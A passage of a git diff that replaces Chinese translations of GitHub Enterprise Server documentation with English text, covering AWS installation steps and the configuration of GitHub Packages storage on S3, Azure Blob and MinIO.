familiar with the following AWS concepts: - - [启动 EC2 实例](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) - - [管理 EBS 卷](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) - - [使用安全组](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html)（用于管理对实例的网络访问） - - [弹性 IP 地址 (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html)（强烈建议用于生产环境） - - [EC2 和 Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html)（如果计划启动到 Virtual Private Cloud） - - [AWS 定价](https://aws.amazon.com/pricing/)（用于计算和管理成本） + - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) + - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) + - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance) + - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments) + - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud) + - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs) -有关架构概述，请参阅“[用于部署 GitHub Enterprise Server 的 AWS 架构图](/assets/images/installing-github-enterprise-server-on-aws.png)”。 +For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". -本指南建议在 AWS 上设置 {% data variables.product.product_location %} 时使用最小权限原则。 更多信息请参阅 [AWS 身份和访问管理 (IAM) 文档](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege)。 +This guide recommends the principle of least privilege when setting up {% data variables.product.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege). -## 硬件考量因素 +## Hardware considerations {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## 确定实例类型 +## Determining the instance type -在 AWS 上启动 {% data variables.product.product_location %} 之前，您需要确定最符合您的组织需求的设备类型。 要查看 {% data variables.product.product_name %} 的最低要求，请参阅“[最低要求](#minimum-requirements)”。 +Before launching {% data variables.product.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -## 选择 {% data variables.product.prodname_ghe_server %} AMI +## Selecting the {% data variables.product.prodname_ghe_server %} AMI -您可以使用 {% data variables.product.prodname_ghe_server %} 门户或 AWS CLI 为 {% data variables.product.prodname_ghe_server %} 选择 Amazon Machine Image (AMI)。 +You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI. -{% data variables.product.prodname_ghe_server %} 的 AMI 适用于 AWS GovCloud（美国东部和美国西部）区域。 因此，受特定法规要求约束的美国客户可以在符合联邦要求的云环境中运行 {% data variables.product.prodname_ghe_server %}。 更多关于 AWS 符合联邦和其他标准的合规信息，请参阅 [AWS 的 GovCloud (US) 页面](http://aws.amazon.com/govcloud-us/)以及 [AWS 的合规页面](https://aws.amazon.com/compliance/)。 +AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/). -### 使用 {% data variables.product.prodname_ghe_server %} 门户选择 AMI +### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI {% data reusables.enterprise_installation.enterprise-download-procedural %} {% data reusables.enterprise_installation.download-appliance %} -3. 在 Select your platform 下拉菜单中，单击 **Amazon Web Services**。 -4. 在 Select your AWS region 下拉菜单中，选择所需地区。 -5. 记下显示的 AMI ID。 +3. In the Select your platform drop-down menu, click **Amazon Web Services**. +4. In the Select your AWS region drop-down menu, choose your desired region. +5. Take note of the AMI ID that is displayed. -### 使用 AWS CLI 选择 AMI +### Using the AWS CLI to select an AMI -1. 使用 AWS CLI 获取由 {% data variables.product.prodname_dotcom %} 的 AWS 所有者 ID（`025577942450` 代表 GovCloud，`895557238572` 代表其他地区）发布的 {% data variables.product.prodname_ghe_server %} 映像列表。 更多信息请参阅 AWS 文档中的“[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)”。 +1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation. ```shell aws ec2 describe-images \ --owners OWNER ID \ --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \ --output=text ``` -2. 记下最新 {% data variables.product.prodname_ghe_server %} 映像的 AMI ID。 +2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image. -## 创建安全组 +## Creating a security group -如果是首次设置 AMI，您需要创建安全组并为下表中的每个端口添加新的安全组规则。 更多信息请参阅 AWS 指南“[使用安全组](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)”。 +If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)." -1. 使用 AWS CLI 创建新的安全组。 更多信息请参阅 AWS 文档中的“[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)”。 +1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation. ```shell $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" ``` -2. 记下新创建的安全组的安全组 ID (`sg-xxxxxxxx`)。 +2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group. -3. 为下表中的每个端口创建安全组规则。 更多信息请参阅 AWS 文档中的 "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)"。 +3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation. ```shell $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE ``` - 此表列出了每个端口的用途。 + This table identifies what each port is used for. {% data reusables.enterprise_installation.necessary_ports %} -## 创建 {% data variables.product.prodname_ghe_server %} 实例 +## Creating the {% data variables.product.prodname_ghe_server %} instance -要创建实例，您需要使用 {% data variables.product.prodname_ghe_server %} AMI 启动 EC2 实例，并连接额外的存储卷来存储实例数据。 更多信息请参阅“[硬件考量因素](#hardware-considerations)”。 +To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." {% note %} -**注：**您可以加密数据磁盘以获得更高的安全级别，并确保写入实例的所有数据都受到保护。 使用加密磁盘会对性能稍有影响。 如果您决定要对卷加密，我们强烈建议您在首次启动实例**之前**进行加密。 更多信息请参阅[关于 EBS 加密的 Amazon 指南](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)。 +**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time. + For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html). {% endnote %} {% warning %} -**警告**：如果您决定在配置完实例后启用加密，则需要将数据迁移到加密卷，此过程将导致用户停机一段时间。 +**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users. {% endwarning %} -### 启动 EC2 实例 +### Launching an EC2 instance -在 AWS CLI 中，使用 AMI 以及您创建的安全组启动 EC2 实例。 附上新的块设备，以用作实例数据的存储卷，并根据您的用户许可数配置大小。 更多信息请参阅 AWS 文档中的 "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)"。 +In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation. ```shell aws ec2 run-instances \ @@ -121,21 +121,21 @@ aws ec2 run-instances \ --ebs-optimized ``` -### 分配弹性 IP 并将其与实例关联 +### Allocating an Elastic IP and associating it with the instance -如果是生产实例，我们强烈建议先分配弹性 IP (EIP) 并将其与实例关联，然后再继续进行 {% data variables.product.prodname_ghe_server %} 配置。 否则，实例重新启动后将无法保留公共 IP 地址。 更多信息请参阅 Amazon 文档中的“[分配弹性 IP 地址](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)”和“[将弹性 IP 地址与运行的实例关联](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)”。 +If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation. -如果采用生产高可用性配置，主实例和副本实例均应分配单独的 EIP。 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 以实现高可用性](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)”。 +Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." -## 配置 {% data variables.product.prodname_ghe_server %} 实例 +## Configuring the {% data variables.product.prodname_ghe_server %} instance {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." {% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## 延伸阅读 +## Further reading -- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} -- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %} +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md index 5c5d3db0bd..d84c8734a2 100644 --- a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md +++ b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md @@ -1,6 +1,6 @@ --- -title: 使用 AWS 启用 GitHub Packages -intro: '以 AWS 作为外部存储设置 {% data variables.product.prodname_registry %} 。' +title: Enabling GitHub Packages with AWS +intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.' versions: ghes: '*' type: tutorial @@ -9,23 +9,23 @@ topics: - Enterprise - Packages - Packages -shortTitle: 使用 AWS 启用包 +shortTitle: Enable Packages with AWS --- {% warning %} -**警告：** -- 为存储桶配置所需的限制性访问策略至关重要，因为 {% data variables.product.company_short %} 不会将特定对象权限或其他访问控制列表 (ACL) 应用于存储桶配置。 例如，如果将存储桶设为公共，则在公共互联网上可以访问存储桶中的数据。 更多信息请参阅 AWS 文档中的“[设置存储桶和对象访问权限](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)”。 -- 我们建议对 {% data variables.product.prodname_registry %} 使用专用存储桶，与用于 {% data variables.product.prodname_actions %} 存储的存储桶分开。 -- 请确保配置将来要使用的存储桶。 在开始使用 {% data variables.product.prodname_registry %} 后，我们不建议更改存储系统。 +**Warnings:** +- It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see "[Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)" in the AWS Documentation. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 基本要求 +## Prerequisites -在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前，您必须准备 AWS 存储桶。 为了准备您的 AWS 存储桶，我们建议在 [AWS 文档](https://docs.aws.amazon.com/index.html)中查阅官方 AWS 文档。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html). -确保您的 AWS 访问密钥 ID 和密钥具有以下权限： +Ensure your AWS access key ID and secret have the following permissions: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -34,7 +34,7 @@ shortTitle: 使用 AWS 启用包 - `s3:DeleteObject` - `s3:ListBucket` -## 使用 AWS 外部存储启用 {% data variables.product.prodname_registry %} +## Enabling {% data variables.product.prodname_registry %} with AWS external storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} @@ -42,20 +42,20 @@ shortTitle: 使用 AWS 启用包 {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. 在“Packages Storage（包存储）”下，选择 **Amazon S3** 并输入您的存储桶详细信息： - - **AWS 服务 URL：**存储桶的服务 URL。 例如，如果您的 S3 存储桶是在 `us-west-2 region` 中创建的，则此值应为 `https://s3.us-west-2.amazonaws.com`。 +1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details: + - **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`. - 更多信息请参阅 AWS 文档中的“[AWS 服务端点](https://docs.aws.amazon.com/general/latest/gr/rande.html)”。 + For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. - - **AWS S3 桶：**专用于 {% data variables.product.prodname_registry %} 的 S3 存储桶的名称。 - - **AWS S3 访问密钥**和 **AWS S3 密钥**：可访问存储桶的 AWS 访问密钥 ID 和密钥。 + - **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key to access your bucket. - 有关管理 AWS 访问密钥的更多信息，请参阅“[AWS 身份和访问管理文档](https://docs.aws.amazon.com/iam/index.html)”。 + For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." - ![S3 AWS 桶详细信息的输入框](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## 后续步骤 +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md index 067563c960..3e8cb87409 100644 --- a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md +++ b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md @@ -1,6 +1,6 @@ --- -title: 使用 Azure Blob 存储启用 GitHub Packages -intro: '以 Azure Blob 存储作为外部存储设置 {% data variables.product.prodname_registry %} 。' +title: Enabling GitHub Packages with Azure Blob Storage +intro: 'Set up {% data variables.product.prodname_registry %} with Azure Blob Storage as your external storage.' versions: ghes: '*' type: tutorial @@ -8,32 +8,33 @@ topics: - Enterprise - Packages - Storage -shortTitle: 使用 Azure 启用包 +shortTitle: Enable Packages with Azure --- {% warning %} -**警告：** -- 为存储桶设置所需的限制性访问策略至关重要，因为 {% data variables.product.company_short %} 不会将特定对象权限或其他访问控制列表 (ACL) 应用于存储桶配置。 例如，如果将存储桶设为公共，则在公共互联网上可以访问存储桶中的数据。 -- 我们建议对 {% data variables.product.prodname_registry %} 使用专用存储桶，与用于 {% data variables.product.prodname_actions %} 存储的存储桶分开。 -- 请确保配置将来要使用的存储桶。 在开始使用 {% data variables.product.prodname_registry %} 后，我们不建议更改存储系统。 +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 基本要求 +## Prerequisites -在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前，您必须准备 Azure Blob 桶。 要准备 Azure Blob 存储桶，我们建议您在官方 [Azure Blob 存储文档站点](https://docs.microsoft.com/en-us/azure/storage/blobs/)查阅官方 Azure Blob 存储文档。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your Azure Blob storage bucket. To prepare your Azure Blob storage bucket, we recommend consulting the official Azure Blob storage docs at the official [Azure Blob Storage documentation site](https://docs.microsoft.com/en-us/azure/storage/blobs/). -## 使用 Azure Blob 存储启用 {% data variables.product.prodname_registry %} +## Enabling {% data variables.product.prodname_registry %} with Azure Blob Storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_site_admin_settings.packages-tab %} {% data reusables.package_registry.enable-enterprise-github-packages %} -1. 在“Packages Storage（包存储）”下，选择 **Azure Blob Storage（Azure Blob 存储）**并输入您的 Azure 容器名称，用于您的包存储桶和连接字符串。 ![Azure Blob 存储容器名称和连接字符串框](/assets/images/help/package-registry/azure-blob-storage-settings.png) +1. Under "Packages Storage", select **Azure Blob Storage** and enter your Azure container name for your packages storage bucket and connection string. + ![Azure Blob storage container name and connection string boxes](/assets/images/help/package-registry/azure-blob-storage-settings.png) {% data reusables.enterprise_management_console.save-settings %} -## 后续步骤 +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md index 95e2973760..de67c4ae7c 100644 --- a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md +++ b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md @@ -1,6 +1,6 @@ --- -title: 使用 MinIO 启用 GitHub Packages -intro: '以 MinIO 作为外部存储设置 {% data variables.product.prodname_registry %} 。' +title: Enabling GitHub Packages with MinIO +intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.' versions: ghes: '*' type: tutorial @@ -8,23 +8,23 @@ topics: - Enterprise - Packages - Storage -shortTitle: 使用 MinIO 启用包 +shortTitle: Enable Packages with MinIO --- {% warning %} -**警告：** -- 为存储桶设置所需的限制性访问策略至关重要，因为 {% data variables.product.company_short %} 不会将特定对象权限或其他访问控制列表 (ACL) 应用于存储桶配置。 例如，如果将存储桶设为公共，则在公共互联网上可以访问存储桶中的数据。 -- 我们建议对 {% data variables.product.prodname_registry %} 使用专用存储桶，与用于 {% data variables.product.prodname_actions %} 存储的存储桶分开。 -- 请确保配置将来要使用的存储桶。 在开始使用 {% data variables.product.prodname_registry %} 后，我们不建议更改存储系统。 +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 基本要求 +## Prerequisites -在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前，您必须准备 MinIO 存储桶。 为了帮助您快速设置 MinIO 桶并导航 MinIO 的自定义选项，请参阅“[为 {% data variables.product.prodname_registry %} 配置 MinIO 存储桶快速入门](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)”。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the "[Quickstart for configuring your MinIO storage bucket for {% data variables.product.prodname_registry %}](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)." -确保您的 MinIO 外部存储访问密钥 ID 和密码具有以下权限： +Ensure your MinIO external storage access key ID and secret have these permissions: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -33,9 +33,9 @@ shortTitle: 使用 MinIO 启用包 - `s3:DeleteObject` - `s3:ListBucket` -## 使用 MinIO 外部存储启用 {% data variables.product.prodname_registry %} +## Enabling {% data variables.product.prodname_registry %} with MinIO external storage -Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. 另请注意，MinIO 的对象存储与 S3 API 兼容，您可以输入MinIO 存储桶详细信息代替 AWS S3 详细信息。 +Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} @@ -43,16 +43,16 @@ Although MinIO does not currently appear in the user interface under "Package St {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. 在“Packages Storage（包存储）”下，选择 **Amazon S3**。 -1. 在 AWS 存储设置中输入 MinIO 存储桶的详细信息。 - - **AWS 服务 URL：**MinIO 存储桶的主机 URL。 - - **AWS S3 桶：**专用于 {% data variables.product.prodname_registry %} 的 S3 标准 MinIO 存储桶的名称。 - - **AWS S3 访问密钥**和 **AWS S3 密钥**：输入 MinIO 访问密钥 ID 和访问存储桶的密钥。 +1. Under "Packages Storage", select **Amazon S3**. +1. Enter your MinIO storage bucket's details in the AWS storage settings. + - **AWS Service URL:** The hosting URL for your MinIO bucket. + - **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: Enter the MinIO access key ID and secret key to access your bucket. - ![S3 AWS 桶详细信息的输入框](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## 后续步骤 +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 6723eb0c81..6ed8568fa1 100644 --- a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: 企业 GitHub Packages 使用入门 -shortTitle: GitHub Packages 使用入门 -intro: '您可以通过启用功能、配置第三方存储、配置您想要支持的生态系统以及更新您的 TLS 证书，开始在 {% data variables.product.product_location %} 上使用 {% data variables.product.prodname_registry %}。' +title: Getting started with GitHub Packages for your enterprise +shortTitle: Getting started with GitHub Packages +intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' redirect_from: - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - /admin/packages/enabling-github-packages-for-your-enterprise @@ -16,28 +16,28 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## 第 1 步：启用 {% data variables.product.prodname_registry %} 并配置外部存储 +## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage -{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_registry %} 使用外部 Blob 存储来存储您的软件包。 +{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. -在为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_registry %} 后，需要准备您的第三方存储桶。 所需的存储量取决于您对 {% data variables.product.prodname_registry %} 的使用，且设置指南可能因存储提供商而异。 +After enabling {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. -支持的外部存储提供商 +Supported external storage providers - Amazon Web Services (AWS) S3 {% ifversion ghes %} - Azure Blob Storage {% endif %} - MinIO -要启用 {% data variables.product.prodname_registry %} 并配置第三方存储，请参阅： - - “[对 AWS 启用 GitHub Packages](/admin/packages/enabling-github-packages-with-aws)”{% ifversion ghes %} - - “[对 Azure Blob Storage 启用 GitHub Packages](/admin/packages/enabling-github-packages-with-azure-blob-storage)”{% endif %} - - “[对 MinIO 启用 GitHub Packages](/admin/packages/enabling-github-packages-with-minio)” +To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: + - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} + - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} + - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## 第 2 步：指定包生态系统以支持您的实例 +## Step 2: Specify the package ecosystems to support on your instance -选择您要在 {% data variables.product.product_location %} 上启用、禁用或设置为只读的包生态系统。 可用的选项包括 Docker、RubyGems、npm、Apache Maven、Gradle 或 Nuget。 更多信息请参阅“[为企业配置包生态系统支持](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)”。 +Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## 第 3 步：如果需要，请确保您有包主机 URL 的 TLS 证书 +## Step 3: Ensure you have a TLS certificate for your package host URL, if needed -If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. 确保每个软件包主机 URL 包含 `https:///`。 +If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. - 您可以手动创建证书，也可以使用_让我们加密_。 如果您已经使用 _Let's Encrypt（让我们加密）_，您必须在启用 {% data variables.product.prodname_registry %} 后申请新的 TLS 证书。 有关包主机 URL 的更多信息，请参阅“[启用子域隔离](/enterprise/admin/configuration/enabling-subdomain-isolation)”。 有关将 TLS 证书上载到 {% data variables.product.product_name %} 的更多信息，请参阅“[配置 TLS](/enterprise/admin/configuration/configuring-tls)”。 + You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data 